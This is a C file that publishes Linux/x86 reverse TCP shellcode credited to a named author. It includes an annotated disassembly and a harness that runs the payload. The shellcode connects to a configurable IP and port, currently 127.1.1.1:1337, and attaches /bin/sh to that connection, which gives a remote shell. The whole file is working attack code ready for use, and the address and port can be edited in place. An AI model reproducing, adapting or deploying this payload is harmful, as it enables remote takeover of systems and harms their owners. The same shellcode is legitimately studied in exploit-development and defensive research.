/* * Title: Shell Reverse TCP Shellcode - 74 bytes * Platform: Linux/x86 * Date: 2014-07-25 * Author: Julien Ahrens (@MrTuxracer) * Website: http://www.rcesecurity.com * * Disassembly of section .text: * 00000000 <_start>: * 0: 6a 66 push 0x66 * 2: 58 pop eax * 3: 6a 01 push 0x1 * 5: 5b pop ebx * 6: 31 d2 xor edx,edx * 8: 52 push edx * 9: 53 push ebx * a: 6a 02 push 0x2 * c: 89 e1 mov ecx,esp * e: cd 80 int 0x80 * 10: 92 xchg edx,eax * 11: b0 66 mov al,0x66 * 13: 68 7f 01 01 01 push 0x101017f <ip: 127.1.1.1 * 18: 66 68 05 39 pushw 0x3905 <port: 1337 * 1c: 43 inc ebx * 1d: 66 53 push bx * 1f: 89 e1 mov ecx,esp * 21: 6a 10 push 0x10 * 23: 51 push ecx * 24: 52 push edx * 25: 89 e1 mov ecx,esp * 27: 43 inc ebx * 28: cd 80 int 0x80 * 2a: 6a 02 push 0x2 * 2c: 59 pop ecx * 2d: 87 da xchg edx,ebx * * 0000002f <loop>: * 2f: b0 3f mov al,0x3f * 31: cd 80 int 0x80 * 33: 49 dec ecx * 34: 79 f9 jns 2f <loop> * 36: b0 0b mov al,0xb * 38: 41 inc ecx * 39: 89 ca mov edx,ecx * 3b: 52 push edx * 3c: 68 2f 2f 73 68 push 0x68732f2f * 41: 68 2f 62 69 6e push 0x6e69622f * 46: 89 e3 mov ebx,esp * 48: cd 80 int 0x80 */ #include <stdio.h> unsigned char shellcode[] = \ "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; main() { printf("Shellcode Length: %d\n", sizeof(shellcode) - 1); int (*ret)() = (int(*)())shellcode; ret(); }